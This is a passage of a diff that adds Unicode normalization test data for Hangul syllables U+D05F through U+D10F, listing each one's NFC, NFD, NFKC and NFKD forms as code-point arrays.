+{ source: [0xD05F], NFC: [0xD05F], NFD: [0x110F, 0x1172, 0x11B6], NFKC: [0xD05F], NFKD: [0x110F, 0x1172, 0x11B6] },
+{ source: [0xD060], NFC: [0xD060], NFD: [0x110F, 0x1172, 0x11B7], NFKC: [0xD060], NFKD: [0x110F, 0x1172, 0x11B7] },
+{ source: [0xD061], NFC: [0xD061], NFD: [0x110F, 0x1172, 0x11B8], NFKC: [0xD061], NFKD: [0x110F, 0x1172, 0x11B8] },
+{ source: [0xD062], NFC: [0xD062], NFD: [0x110F, 0x1172, 0x11B9], NFKC: [0xD062], NFKD: [0x110F, 0x1172, 0x11B9] },
+{ source: [0xD063], NFC: [0xD063], NFD: [0x110F, 0x1172, 0x11BA], NFKC: [0xD063], NFKD: [0x110F, 0x1172, 0x11BA] },
+{ source: [0xD064], NFC: [0xD064], NFD: [0x110F, 0x1172, 0x11BB], NFKC: [0xD064], NFKD: [0x110F, 0x1172, 0x11BB] },
+{ source: [0xD065], NFC: [0xD065], NFD: [0x110F, 0x1172, 0x11BC], NFKC: [0xD065], NFKD: [0x110F, 0x1172, 0x11BC] },
+{ source: [0xD066], NFC: [0xD066], NFD: [0x110F, 0x1172, 0x11BD], NFKC: [0xD066], NFKD: [0x110F, 0x1172, 0x11BD] },
+{ source: [0xD067], NFC: [0xD067], NFD: [0x110F, 0x1172, 0x11BE], NFKC: [0xD067], NFKD: [0x110F, 0x1172, 0x11BE] },
+{ source: [0xD068], NFC: [0xD068], NFD: [0x110F, 0x1172, 0x11BF], NFKC: [0xD068], NFKD: [0x110F, 0x1172, 0x11BF] },
+{ source: [0xD069], NFC: [0xD069], NFD: [0x110F, 0x1172, 0x11C0], NFKC: [0xD069], NFKD: [0x110F, 0x1172, 0x11C0] },
+{ source: [0xD06A], NFC: [0xD06A], NFD: [0x110F, 0x1172, 0x11C1], NFKC: [0xD06A], NFKD: [0x110F, 0x1172, 0x11C1] },
+{ source: [0xD06B], NFC: [0xD06B], NFD: [0x110F, 0x1172, 0x11C2], NFKC: [0xD06B], NFKD: [0x110F, 0x1172, 0x11C2] },
+{ source: [0xD06C], NFC: [0xD06C], NFD: [0x110F, 0x1173], NFKC: [0xD06C], NFKD: [0x110F, 0x1173] },
+{ source: [0xD06D], NFC: [0xD06D], NFD: [0x110F, 0x1173, 0x11A8], NFKC: [0xD06D], NFKD: [0x110F, 0x1173, 0x11A8] },
+{ source: [0xD06E], NFC: [0xD06E], NFD: [0x110F, 0x1173, 0x11A9], NFKC: [0xD06E], NFKD: [0x110F, 0x1173, 0x11A9] },
+{ source: [0xD06F], NFC: [0xD06F], NFD: [0x110F, 0x1173, 0x11AA], NFKC: [0xD06F], NFKD: [0x110F, 0x1173, 0x11AA] },
+{ source: [0xD070], NFC: [0xD070], NFD: [0x110F, 0x1173, 0x11AB], NFKC: [0xD070], NFKD: [0x110F, 0x1173, 0x11AB] },
+{ source: [0xD071], NFC: [0xD071], NFD: [0x110F, 0x1173, 0x11AC], NFKC: [0xD071], NFKD: [0x110F, 0x1173, 0x11AC] },
+{ source: [0xD072], NFC: [0xD072], NFD: [0x110F, 0x1173, 0x11AD], NFKC: [0xD072], NFKD: [0x110F, 0x1173, 0x11AD] },
+{ source: [0xD073], NFC: [0xD073], NFD: [0x110F, 0x1173, 0x11AE], NFKC: [0xD073], NFKD: [0x110F, 0x1173, 0x11AE] },
+{ source: [0xD074], NFC: [0xD074], NFD: [0x110F, 0x1173, 0x11AF], NFKC: [0xD074], NFKD: [0x110F, 0x1173, 0x11AF] },
+{ source: [0xD075], NFC: [0xD075], NFD: [0x110F, 0x1173, 0x11B0], NFKC: [0xD075], NFKD: [0x110F, 0x1173, 0x11B0] },
+{ source: [0xD076], NFC: [0xD076], NFD: [0x110F, 0x1173, 0x11B1], NFKC: [0xD076], NFKD: [0x110F, 0x1173, 0x11B1] },
+{ source: [0xD077], NFC: [0xD077], NFD: [0x110F, 0x1173, 0x11B2], NFKC: [0xD077], NFKD: [0x110F, 0x1173, 0x11B2] },
+{ source: [0xD078], NFC: [0xD078], NFD: [0x110F, 0x1173, 0x11B3], NFKC: [0xD078], NFKD: [0x110F, 0x1173, 0x11B3] },
+{ source: [0xD079], NFC: [0xD079], NFD: [0x110F, 0x1173, 0x11B4], NFKC: [0xD079], NFKD: [0x110F, 0x1173, 0x11B4] },
+{ source: [0xD07A], NFC: [0xD07A], NFD: [0x110F, 0x1173, 0x11B5], NFKC: [0xD07A], NFKD: [0x110F, 0x1173, 0x11B5] },
+{ source: [0xD07B], NFC: [0xD07B], NFD: [0x110F, 0x1173, 0x11B6], NFKC: [0xD07B], NFKD: [0x110F, 0x1173, 0x11B6] },
+{ source: [0xD07C], NFC: [0xD07C], NFD: [0x110F, 0x1173, 0x11B7], NFKC: [0xD07C], NFKD: [0x110F, 0x1173, 0x11B7] },
+{ source: [0xD07D], NFC: [0xD07D], NFD: [0x110F, 0x1173, 0x11B8], NFKC: [0xD07D], NFKD: [0x110F, 0x1173, 0x11B8] },
+{ source: [0xD07E], NFC: [0xD07E], NFD: [0x110F, 0x1173, 0x11B9], NFKC: [0xD07E], NFKD: [0x110F, 0x1173, 0x11B9] },
+{ source: [0xD07F], NFC: [0xD07F], NFD: [0x110F, 0x1173, 0x11BA], NFKC: [0xD07F], NFKD: [0x110F, 0x1173, 0x11BA] },
+{ source: [0xD080], NFC: [0xD080], NFD: [0x110F, 0x1173, 0x11BB], NFKC: [0xD080], NFKD: [0x110F, 0x1173, 0x11BB] },
+{ source: [0xD081], NFC: [0xD081], NFD: [0x110F, 0x1173, 0x11BC], NFKC: [0xD081], NFKD: [0x110F, 0x1173, 0x11BC] },
+{ source: [0xD082], NFC: [0xD082], NFD: [0x110F, 0x1173, 0x11BD], NFKC: [0xD082], NFKD: [0x110F, 0x1173, 0x11BD] },
+{ source: [0xD083], NFC: [0xD083], NFD: [0x110F, 0x1173, 0x11BE], NFKC: [0xD083], NFKD: [0x110F, 0x1173, 0x11BE] },
+{ source: [0xD084], NFC: [0xD084], NFD: [0x110F, 0x1173, 0x11BF], NFKC: [0xD084], NFKD: [0x110F, 0x1173, 0x11BF] },
+{ source: [0xD085], NFC: [0xD085], NFD: [0x110F, 0x1173, 0x11C0], NFKC: [0xD085], NFKD: [0x110F, 0x1173, 0x11C0] },
+{ source: [0xD086], NFC: [0xD086], NFD: [0x110F, 0x1173, 0x11C1], NFKC: [0xD086], NFKD: [0x110F, 0x1173, 0x11C1] },
+{ source: [0xD087], NFC: [0xD087], NFD: [0x110F, 0x1173, 0x11C2], NFKC: [0xD087], NFKD: [0x110F, 0x1173, 0x11C2] },
+{ source: [0xD088], NFC: [0xD088], NFD: [0x110F, 0x1174], NFKC: [0xD088], NFKD: [0x110F, 0x1174] },
+{ source: [0xD089], NFC: [0xD089], NFD: [0x110F, 0x1174, 0x11A8], NFKC: [0xD089], NFKD: [0x110F, 0x1174, 0x11A8] },
+{ source: [0xD08A], NFC: [0xD08A], NFD: [0x110F, 0x1174, 0x11A9], NFKC: [0xD08A], NFKD: [0x110F, 0x1174, 0x11A9] },
+{ source: [0xD08B], NFC: [0xD08B], NFD: [0x110F, 0x1174, 0x11AA], NFKC: [0xD08B], NFKD: [0x110F, 0x1174, 0x11AA] },
+{ source: [0xD08C], NFC: [0xD08C], NFD: [0x110F, 0x1174, 0x11AB], NFKC: [0xD08C], NFKD: [0x110F, 0x1174, 0x11AB] },
+{ source: [0xD08D], NFC: [0xD08D], NFD: [0x110F, 0x1174, 0x11AC], NFKC: [0xD08D], NFKD: [0x110F, 0x1174, 0x11AC] },
+{ source: [0xD08E], NFC: [0xD08E], NFD: [0x110F, 0x1174, 0x11AD], NFKC: [0xD08E], NFKD: [0x110F, 0x1174, 0x11AD] },
+{ source: [0xD08F], NFC: [0xD08F], NFD: [0x110F, 0x1174, 0x11AE], NFKC: [0xD08F], NFKD: [0x110F, 0x1174, 0x11AE] },
+{ source: [0xD090], NFC: [0xD090], NFD: [0x110F, 0x1174, 0x11AF], NFKC: [0xD090], NFKD: [0x110F, 0x1174, 0x11AF] },
+{ source: [0xD091], NFC: [0xD091], NFD: [0x110F, 0x1174, 0x11B0], NFKC: [0xD091], NFKD: [0x110F, 0x1174, 0x11B0] },
+{ source: [0xD092], NFC: [0xD092], NFD: [0x110F, 0x1174, 0x11B1], NFKC: [0xD092], NFKD: [0x110F, 0x1174, 0x11B1] },
+{ source: [0xD093], NFC: [0xD093], NFD: [0x110F, 0x1174, 0x11B2], NFKC: [0xD093], NFKD: [0x110F, 0x1174, 0x11B2] },
+{ source: [0xD094], NFC: [0xD094], NFD: [0x110F, 0x1174, 0x11B3], NFKC: [0xD094], NFKD: [0x110F, 0x1174, 0x11B3] },
+{ source: [0xD095], NFC: [0xD095], NFD: [0x110F, 0x1174, 0x11B4], NFKC: [0xD095], NFKD: [0x110F, 0x1174, 0x11B4] },
+{ source: [0xD096], NFC: [0xD096], NFD: [0x110F, 0x1174, 0x11B5], NFKC: [0xD096], NFKD: [0x110F, 0x1174, 0x11B5] },
+{ source: [0xD097], NFC: [0xD097], NFD: [0x110F, 0x1174, 0x11B6], NFKC: [0xD097], NFKD: [0x110F, 0x1174, 0x11B6] },
+{ source: [0xD098], NFC: [0xD098], NFD: [0x110F, 0x1174, 0x11B7], NFKC: [0xD098], NFKD: [0x110F, 0x1174, 0x11B7] },
+{ source: [0xD099], NFC: [0xD099], NFD: [0x110F, 0x1174, 0x11B8], NFKC: [0xD099], NFKD: [0x110F, 0x1174, 0x11B8] },
+{ source: [0xD09A], NFC: [0xD09A], NFD: [0x110F, 0x1174, 0x11B9], NFKC: [0xD09A], NFKD: [0x110F, 0x1174, 0x11B9] },
+{ source: [0xD09B], NFC: [0xD09B], NFD: [0x110F, 0x1174, 0x11BA], NFKC: [0xD09B], NFKD: [0x110F, 0x1174, 0x11BA] },
+{ source: [0xD09C], NFC: [0xD09C], NFD: [0x110F, 0x1174, 0x11BB], NFKC: [0xD09C], NFKD: [0x110F, 0x1174, 0x11BB] },
+{ source: [0xD09D], NFC: [0xD09D], NFD: [0x110F, 0x1174, 0x11BC], NFKC: [0xD09D], NFKD: [0x110F, 0x1174, 0x11BC] },
+{ source: [0xD09E], NFC: [0xD09E], NFD: [0x110F, 0x1174, 0x11BD], NFKC: [0xD09E], NFKD: [0x110F, 0x1174, 0x11BD] },
+{ source: [0xD09F], NFC: [0xD09F], NFD: [0x110F, 0x1174, 0x11BE], NFKC: [0xD09F], NFKD: [0x110F, 0x1174, 0x11BE] },
+{ source: [0xD0A0], NFC: [0xD0A0], NFD: [0x110F, 0x1174, 0x11BF], NFKC: [0xD0A0], NFKD: [0x110F, 0x1174, 0x11BF] },
+{ source: [0xD0A1], NFC: [0xD0A1], NFD: [0x110F, 0x1174, 0x11C0], NFKC: [0xD0A1], NFKD: [0x110F, 0x1174, 0x11C0] },
+{ source: [0xD0A2], NFC: [0xD0A2], NFD: [0x110F, 0x1174, 0x11C1], NFKC: [0xD0A2], NFKD: [0x110F, 0x1174, 0x11C1] },
+{ source: [0xD0A3], NFC: [0xD0A3], NFD: [0x110F, 0x1174, 0x11C2], NFKC: [0xD0A3], NFKD: [0x110F, 0x1174, 0x11C2] },
+{ source: [0xD0A4], NFC: [0xD0A4], NFD: [0x110F, 0x1175], NFKC: [0xD0A4], NFKD: [0x110F, 0x1175] },
+{ source: [0xD0A5], NFC: [0xD0A5], NFD: [0x110F, 0x1175, 0x11A8], NFKC: [0xD0A5], NFKD: [0x110F, 0x1175, 0x11A8] },
+{ source: [0xD0A6], NFC: [0xD0A6], NFD: [0x110F, 0x1175, 0x11A9], NFKC: [0xD0A6], NFKD: [0x110F, 0x1175, 0x11A9] },
+{ source: [0xD0A7], NFC: [0xD0A7], NFD: [0x110F, 0x1175, 0x11AA], NFKC: [0xD0A7], NFKD: [0x110F, 0x1175, 0x11AA] },
+{ source: [0xD0A8], NFC: [0xD0A8], NFD: [0x110F, 0x1175, 0x11AB], NFKC: [0xD0A8], NFKD: [0x110F, 0x1175, 0x11AB] },
+{ source: [0xD0A9], NFC: [0xD0A9], NFD: [0x110F, 0x1175, 0x11AC], NFKC: [0xD0A9], NFKD: [0x110F, 0x1175, 0x11AC] },
+{ source: [0xD0AA], NFC: [0xD0AA], NFD: [0x110F, 0x1175, 0x11AD], NFKC: [0xD0AA], NFKD: [0x110F, 0x1175, 0x11AD] },
+{ source: [0xD0AB], NFC: [0xD0AB], NFD: [0x110F, 0x1175, 0x11AE], NFKC: [0xD0AB], NFKD: [0x110F, 0x1175, 0x11AE] },
+{ source: [0xD0AC], NFC: [0xD0AC], NFD: [0x110F, 0x1175, 0x11AF], NFKC: [0xD0AC], NFKD: [0x110F, 0x1175, 0x11AF] },
+{ source: [0xD0AD], NFC: [0xD0AD], NFD: [0x110F, 0x1175, 0x11B0], NFKC: [0xD0AD], NFKD: [0x110F, 0x1175, 0x11B0] },
+{ source: [0xD0AE], NFC: [0xD0AE], NFD: [0x110F, 0x1175, 0x11B1], NFKC: [0xD0AE], NFKD: [0x110F, 0x1175, 0x11B1] },
+{ source: [0xD0AF], NFC: [0xD0AF], NFD: [0x110F, 0x1175, 0x11B2], NFKC: [0xD0AF], NFKD: [0x110F, 0x1175, 0x11B2] },
+{ source: [0xD0B0], NFC: [0xD0B0], NFD: [0x110F, 0x1175, 0x11B3], NFKC: [0xD0B0], NFKD: [0x110F, 0x1175, 0x11B3] },
+{ source: [0xD0B1], NFC: [0xD0B1], NFD: [0x110F, 0x1175, 0x11B4], NFKC: [0xD0B1], NFKD: [0x110F, 0x1175, 0x11B4] },
+{ source: [0xD0B2], NFC: [0xD0B2], NFD: [0x110F, 0x1175, 0x11B5], NFKC: [0xD0B2], NFKD: [0x110F, 0x1175, 0x11B5] },
+{ source: [0xD0B3], NFC: [0xD0B3], NFD: [0x110F, 0x1175, 0x11B6], NFKC: [0xD0B3], NFKD: [0x110F, 0x1175, 0x11B6] },
+{ source: [0xD0B4], NFC: [0xD0B4], NFD: [0x110F, 0x1175, 0x11B7], NFKC: [0xD0B4], NFKD: [0x110F, 0x1175, 0x11B7] },
+{ source: [0xD0B5], NFC: [0xD0B5], NFD: [0x110F, 0x1175, 0x11B8], NFKC: [0xD0B5], NFKD: [0x110F, 0x1175, 0x11B8] },
+{ source: [0xD0B6], NFC: [0xD0B6], NFD: [0x110F, 0x1175, 0x11B9], NFKC: [0xD0B6], NFKD: [0x110F, 0x1175, 0x11B9] },
+{ source: [0xD0B7], NFC: [0xD0B7], NFD: [0x110F, 0x1175, 0x11BA], NFKC: [0xD0B7], NFKD: [0x110F, 0x1175, 0x11BA] },
+{ source: [0xD0B8], NFC: [0xD0B8], NFD: [0x110F, 0x1175, 0x11BB], NFKC: [0xD0B8], NFKD: [0x110F, 0x1175, 0x11BB] },
+{ source: [0xD0B9], NFC: [0xD0B9], NFD: [0x110F, 0x1175, 0x11BC], NFKC: [0xD0B9], NFKD: [0x110F, 0x1175, 0x11BC] },
+{ source: [0xD0BA], NFC: [0xD0BA], NFD: [0x110F, 0x1175, 0x11BD], NFKC: [0xD0BA], NFKD: [0x110F, 0x1175, 0x11BD] },
+{ source: [0xD0BB], NFC: [0xD0BB], NFD: [0x110F, 0x1175, 0x11BE], NFKC: [0xD0BB], NFKD: [0x110F, 0x1175, 0x11BE] },
+{ source: [0xD0BC], NFC: [0xD0BC], NFD: [0x110F, 0x1175, 0x11BF], NFKC: [0xD0BC], NFKD: [0x110F, 0x1175, 0x11BF] },
+{ source: [0xD0BD], NFC: [0xD0BD], NFD: [0x110F, 0x1175, 0x11C0], NFKC: [0xD0BD], NFKD: [0x110F, 0x1175, 0x11C0] },
+{ source: [0xD0BE], NFC: [0xD0BE], NFD: [0x110F, 0x1175, 0x11C1], NFKC: [0xD0BE], NFKD: [0x110F, 0x1175, 0x11C1] },
+{ source: [0xD0BF], NFC: [0xD0BF], NFD: [0x110F, 0x1175, 0x11C2], NFKC: [0xD0BF], NFKD: [0x110F, 0x1175, 0x11C2] },
+{ source: [0xD0C0], NFC: [0xD0C0], NFD: [0x1110, 0x1161], NFKC: [0xD0C0], NFKD: [0x1110, 0x1161] },
+{ source: [0xD0C1], NFC: [0xD0C1], NFD: [0x1110, 0x1161, 0x11A8], NFKC: [0xD0C1], NFKD: [0x1110, 0x1161, 0x11A8] },
+{ source: [0xD0C2], NFC: [0xD0C2], NFD: [0x1110, 0x1161, 0x11A9], NFKC: [0xD0C2], NFKD: [0x1110, 0x1161, 0x11A9] },
+{ source: [0xD0C3], NFC: [0xD0C3], NFD: [0x1110, 0x1161, 0x11AA], NFKC: [0xD0C3], NFKD: [0x1110, 0x1161, 0x11AA] },
+{ source: [0xD0C4], NFC: [0xD0C4], NFD: [0x1110, 0x1161, 0x11AB], NFKC: [0xD0C4], NFKD: [0x1110, 0x1161, 0x11AB] },
+{ source: [0xD0C5], NFC: [0xD0C5], NFD: [0x1110, 0x1161, 0x11AC], NFKC: [0xD0C5], NFKD: [0x1110, 0x1161, 0x11AC] },
+{ source: [0xD0C6], NFC: [0xD0C6], NFD: [0x1110, 0x1161, 0x11AD], NFKC: [0xD0C6], NFKD: [0x1110, 0x1161, 0x11AD] },
+{ source: [0xD0C7], NFC: [0xD0C7], NFD: [0x1110, 0x1161, 0x11AE], NFKC: [0xD0C7], NFKD: [0x1110, 0x1161, 0x11AE] },
+{ source: [0xD0C8], NFC: [0xD0C8], NFD: [0x1110, 0x1161, 0x11AF], NFKC: [0xD0C8], NFKD: [0x1110, 0x1161, 0x11AF] },
+{ source: [0xD0C9], NFC: [0xD0C9], NFD: [0x1110, 0x1161, 0x11B0], NFKC: [0xD0C9], NFKD: [0x1110, 0x1161, 0x11B0] },
+{ source: [0xD0CA], NFC: [0xD0CA], NFD: [0x1110, 0x1161, 0x11B1], NFKC: [0xD0CA], NFKD: [0x1110, 0x1161, 0x11B1] },
+{ source: [0xD0CB], NFC: [0xD0CB], NFD: [0x1110, 0x1161, 0x11B2], NFKC: [0xD0CB], NFKD: [0x1110, 0x1161, 0x11B2] },
+{ source: [0xD0CC], NFC: [0xD0CC], NFD: [0x1110, 0x1161, 0x11B3], NFKC: [0xD0CC], NFKD: [0x1110, 0x1161, 0x11B3] },
+{ source: [0xD0CD], NFC: [0xD0CD], NFD: [0x1110, 0x1161, 0x11B4], NFKC: [0xD0CD], NFKD: [0x1110, 0x1161, 0x11B4] },
+{ source: [0xD0CE], NFC: [0xD0CE], NFD: [0x1110, 0x1161, 0x11B5], NFKC: [0xD0CE], NFKD: [0x1110, 0x1161, 0x11B5] },
+{ source: [0xD0CF], NFC: [0xD0CF], NFD: [0x1110, 0x1161, 0x11B6], NFKC: [0xD0CF], NFKD: [0x1110, 0x1161, 0x11B6] },
+{ source: [0xD0D0], NFC: [0xD0D0], NFD: [0x1110, 0x1161, 0x11B7], NFKC: [0xD0D0], NFKD: [0x1110, 0x1161, 0x11B7] },
+{ source: [0xD0D1], NFC: [0xD0D1], NFD: [0x1110, 0x1161, 0x11B8], NFKC: [0xD0D1], NFKD: [0x1110, 0x1161, 0x11B8] },
+{ source: [0xD0D2], NFC: [0xD0D2], NFD: [0x1110, 0x1161, 0x11B9], NFKC: [0xD0D2], NFKD: [0x1110, 0x1161, 0x11B9] },
+{ source: [0xD0D3], NFC: [0xD0D3], NFD: [0x1110, 0x1161, 0x11BA], NFKC: [0xD0D3], NFKD: [0x1110, 0x1161, 0x11BA] },
+{ source: [0xD0D4], NFC: [0xD0D4], NFD: [0x1110, 0x1161, 0x11BB], NFKC: [0xD0D4], NFKD: [0x1110, 0x1161, 0x11BB] },
+{ source: [0xD0D5], NFC: [0xD0D5], NFD: [0x1110, 0x1161, 0x11BC], NFKC: [0xD0D5], NFKD: [0x1110, 0x1161, 0x11BC] },
+{ source: [0xD0D6], NFC: [0xD0D6], NFD: [0x1110, 0x1161, 0x11BD], NFKC: [0xD0D6], NFKD: [0x1110, 0x1161, 0x11BD] },
+{ source: [0xD0D7], NFC: [0xD0D7], NFD: [0x1110, 0x1161, 0x11BE], NFKC: [0xD0D7], NFKD: [0x1110, 0x1161, 0x11BE] },
+{ source: [0xD0D8], NFC: [0xD0D8], NFD: [0x1110, 0x1161, 0x11BF], NFKC: [0xD0D8], NFKD: [0x1110, 0x1161, 0x11BF] },
+{ source: [0xD0D9], NFC: [0xD0D9], NFD: [0x1110, 0x1161, 0x11C0], NFKC: [0xD0D9], NFKD: [0x1110, 0x1161, 0x11C0] },
+{ source: [0xD0DA], NFC: [0xD0DA], NFD: [0x1110, 0x1161, 0x11C1], NFKC: [0xD0DA], NFKD: [0x1110, 0x1161, 0x11C1] },
+{ source: [0xD0DB], NFC: [0xD0DB], NFD: [0x1110, 0x1161, 0x11C2], NFKC: [0xD0DB], NFKD: [0x1110, 0x1161, 0x11C2] },
+{ source: [0xD0DC], NFC: [0xD0DC], NFD: [0x1110, 0x1162], NFKC: [0xD0DC], NFKD: [0x1110, 0x1162] },
+{ source: [0xD0DD], NFC: [0xD0DD], NFD: [0x1110, 0x1162, 0x11A8], NFKC: [0xD0DD], NFKD: [0x1110, 0x1162, 0x11A8] },
+{ source: [0xD0DE], NFC: [0xD0DE], NFD: [0x1110, 0x1162, 0x11A9], NFKC: [0xD0DE], NFKD: [0x1110, 0x1162, 0x11A9] },
+{ source: [0xD0DF], NFC: [0xD0DF], NFD: [0x1110, 0x1162, 0x11AA], NFKC: [0xD0DF], NFKD: [0x1110, 0x1162, 0x11AA] },
+{ source: [0xD0E0], NFC: [0xD0E0], NFD: [0x1110, 0x1162, 0x11AB], NFKC: [0xD0E0], NFKD: [0x1110, 0x1162, 0x11AB] },
+{ source: [0xD0E1], NFC: [0xD0E1], NFD: [0x1110, 0x1162, 0x11AC], NFKC: [0xD0E1], NFKD: [0x1110, 0x1162, 0x11AC] },
+{ source: [0xD0E2], NFC: [0xD0E2], NFD: [0x1110, 0x1162, 0x11AD], NFKC: [0xD0E2], NFKD: [0x1110, 0x1162, 0x11AD] },
+{ source: [0xD0E3], NFC: [0xD0E3], NFD: [0x1110, 0x1162, 0x11AE], NFKC: [0xD0E3], NFKD: [0x1110, 0x1162, 0x11AE] },
+{ source: [0xD0E4], NFC: [0xD0E4], NFD: [0x1110, 0x1162, 0x11AF], NFKC: [0xD0E4], NFKD: [0x1110, 0x1162, 0x11AF] },
+{ source: [0xD0E5], NFC: [0xD0E5], NFD: [0x1110, 0x1162, 0x11B0], NFKC: [0xD0E5], NFKD: [0x1110, 0x1162, 0x11B0] },
+{ source: [0xD0E6], NFC: [0xD0E6], NFD: [0x1110, 0x1162, 0x11B1], NFKC: [0xD0E6], NFKD: [0x1110, 0x1162, 0x11B1] },
+{ source: [0xD0E7], NFC: [0xD0E7], NFD: [0x1110, 0x1162, 0x11B2], NFKC: [0xD0E7], NFKD: [0x1110, 0x1162, 0x11B2] },
+{ source: [0xD0E8], NFC: [0xD0E8], NFD: [0x1110, 0x1162, 0x11B3], NFKC: [0xD0E8], NFKD: [0x1110, 0x1162, 0x11B3] },
+{ source: [0xD0E9], NFC: [0xD0E9], NFD: [0x1110, 0x1162, 0x11B4], NFKC: [0xD0E9], NFKD: [0x1110, 0x1162, 0x11B4] },
+{ source: [0xD0EA], NFC: [0xD0EA], NFD: [0x1110, 0x1162, 0x11B5], NFKC: [0xD0EA], NFKD: [0x1110, 0x1162, 0x11B5] },
+{ source: [0xD0EB], NFC: [0xD0EB], NFD: [0x1110, 0x1162, 0x11B6], NFKC: [0xD0EB], NFKD: [0x1110, 0x1162, 0x11B6] },
+{ source: [0xD0EC], NFC: [0xD0EC], NFD: [0x1110, 0x1162, 0x11B7], NFKC: [0xD0EC], NFKD: [0x1110, 0x1162, 0x11B7] },
+{ source: [0xD0ED], NFC: [0xD0ED], NFD: [0x1110, 0x1162, 0x11B8], NFKC: [0xD0ED], NFKD: [0x1110, 0x1162, 0x11B8] },
+{ source: [0xD0EE], NFC: [0xD0EE], NFD: [0x1110, 0x1162, 0x11B9], NFKC: [0xD0EE], NFKD: [0x1110, 0x1162, 0x11B9] },
+{ source: [0xD0EF], NFC: [0xD0EF], NFD: [0x1110, 0x1162, 0x11BA], NFKC: [0xD0EF], NFKD: [0x1110, 0x1162, 0x11BA] },
+{ source: [0xD0F0], NFC: [0xD0F0], NFD: [0x1110, 0x1162, 0x11BB], NFKC: [0xD0F0], NFKD: [0x1110, 0x1162, 0x11BB] },
+{ source: [0xD0F1], NFC: [0xD0F1], NFD: [0x1110, 0x1162, 0x11BC], NFKC: [0xD0F1], NFKD: [0x1110, 0x1162, 0x11BC] },
+{ source: [0xD0F2], NFC: [0xD0F2], NFD: [0x1110, 0x1162, 0x11BD], NFKC: [0xD0F2], NFKD: [0x1110, 0x1162, 0x11BD] },
+{ source: [0xD0F3], NFC: [0xD0F3], NFD: [0x1110, 0x1162, 0x11BE], NFKC: [0xD0F3], NFKD: [0x1110, 0x1162, 0x11BE] },
+{ source: [0xD0F4], NFC: [0xD0F4], NFD: [0x1110, 0x1162, 0x11BF], NFKC: [0xD0F4], NFKD: [0x1110, 0x1162, 0x11BF] },
+{ source: [0xD0F5], NFC: [0xD0F5], NFD: [0x1110, 0x1162, 0x11C0], NFKC: [0xD0F5], NFKD: [0x1110, 0x1162, 0x11C0] },
+{ source: [0xD0F6], NFC: [0xD0F6], NFD: [0x1110, 0x1162, 0x11C1], NFKC: [0xD0F6], NFKD: [0x1110, 0x1162, 0x11C1] },
+{ source: [0xD0F7], NFC: [0xD0F7], NFD: [0x1110, 0x1162, 0x11C2], NFKC: [0xD0F7], NFKD: [0x1110, 0x1162, 0x11C2] },
+{ source: [0xD0F8], NFC: [0xD0F8], NFD: [0x1110, 0x1163], NFKC: [0xD0F8], NFKD: [0x1110, 0x1163] },
+{ source: [0xD0F9], NFC: [0xD0F9], NFD: [0x1110, 0x1163, 0x11A8], NFKC: [0xD0F9], NFKD: [0x1110, 0x1163, 0x11A8] },
+{ source: [0xD0FA], NFC: [0xD0FA], NFD: [0x1110, 0x1163, 0x11A9], NFKC: [0xD0FA], NFKD: [0x1110, 0x1163, 0x11A9] },
+{ source: [0xD0FB], NFC: [0xD0FB], NFD: [0x1110, 0x1163, 0x11AA], NFKC: [0xD0FB], NFKD: [0x1110, 0x1163, 0x11AA] },
+{ source: [0xD0FC], NFC: [0xD0FC], NFD: [0x1110, 0x1163, 0x11AB], NFKC: [0xD0FC], NFKD: [0x1110, 0x1163, 0x11AB] },
+{ source: [0xD0FD], NFC: [0xD0FD], NFD: [0x1110, 0x1163, 0x11AC], NFKC: [0xD0FD], NFKD: [0x1110, 0x1163, 0x11AC] },
+{ source: [0xD0FE], NFC: [0xD0FE], NFD: [0x1110, 0x1163, 0x11AD], NFKC: [0xD0FE], NFKD: [0x1110, 0x1163, 0x11AD] },
+{ source: [0xD0FF], NFC: [0xD0FF], NFD: [0x1110, 0x1163, 0x11AE], NFKC: [0xD0FF], NFKD: [0x1110, 0x1163, 0x11AE] },
+{ source: [0xD100], NFC: [0xD100], NFD: [0x1110, 0x1163, 0x11AF], NFKC: [0xD100], NFKD: [0x1110, 0x1163, 0x11AF] },
+{ source: [0xD101], NFC: [0xD101], NFD: [0x1110, 0x1163, 0x11B0], NFKC: [0xD101], NFKD: [0x1110, 0x1163, 0x11B0] },
+{ source: [0xD102], NFC: [0xD102], NFD: [0x1110, 0x1163, 0x11B1], NFKC: [0xD102], NFKD: [0x1110, 0x1163, 0x11B1] },
+{ source: [0xD103], NFC: [0xD103], NFD: [0x1110, 0x1163, 0x11B2], NFKC: [0xD103], NFKD: [0x1110, 0x1163, 0x11B2] },
+{ source: [0xD104], NFC: [0xD104], NFD: [0x1110, 0x1163, 0x11B3], NFKC: [0xD104], NFKD: [0x1110, 0x1163, 0x11B3] },
+{ source: [0xD105], NFC: [0xD105], NFD: [0x1110, 0x1163, 0x11B4], NFKC: [0xD105], NFKD: [0x1110, 0x1163, 0x11B4] },
+{ source: [0xD106], NFC: [0xD106], NFD: [0x1110, 0x1163, 0x11B5], NFKC: [0xD106], NFKD: [0x1110, 0x1163, 0x11B5] },
+{ source: [0xD107], NFC: [0xD107], NFD: [0x1110, 0x1163, 0x11B6], NFKC: [0xD107], NFKD: [0x1110, 0x1163, 0x11B6] },
+{ source: [0xD108], NFC: [0xD108], NFD: [0x1110, 0x1163, 0x11B7], NFKC: [0xD108], NFKD: [0x1110, 0x1163, 0x11B7] },
+{ source: [0xD109], NFC: [0xD109], NFD: [0x1110, 0x1163, 0x11B8], NFKC: [0xD109], NFKD: [0x1110, 0x1163, 0x11B8] },
+{ source: [0xD10A], NFC: [0xD10A], NFD: [0x1110, 0x1163, 0x11B9], NFKC: [0xD10A], NFKD: [0x1110, 0x1163, 0x11B9] },
+{ source: [0xD10B], NFC: [0xD10B], NFD: [0x1110, 0x1163, 0x11BA], NFKC: [0xD10B], NFKD: [0x1110, 0x1163, 0x11BA] },
+{ source: [0xD10C], NFC: [0xD10C], NFD: [0x1110, 0x1163, 0x11BB], NFKC: [0xD10C], NFKD: [0x1110, 0x1163, 0x11BB] },
+{ source: [0xD10D], NFC: [0xD10D], NFD: [0x1110, 0x1163, 0x11BC], NFKC: [0xD10D], NFKD: [0x1110, 0x1163, 0x11BC] },
+{ source: [0xD10E], NFC: [0xD10E], NFD: [0x1110, 0x1163, 0x11BD], NFKC: [0xD10E], NFKD: [0x1110, 0x1163, 0x11BD] },
+{ source: [0xD10F], NFC: [0xD10F], NFD: [0x1110, 0x1163, 0x11BE], NFKC: [0xD10F], NFKD: [0x1110, 0x1163, 0x11BE] },
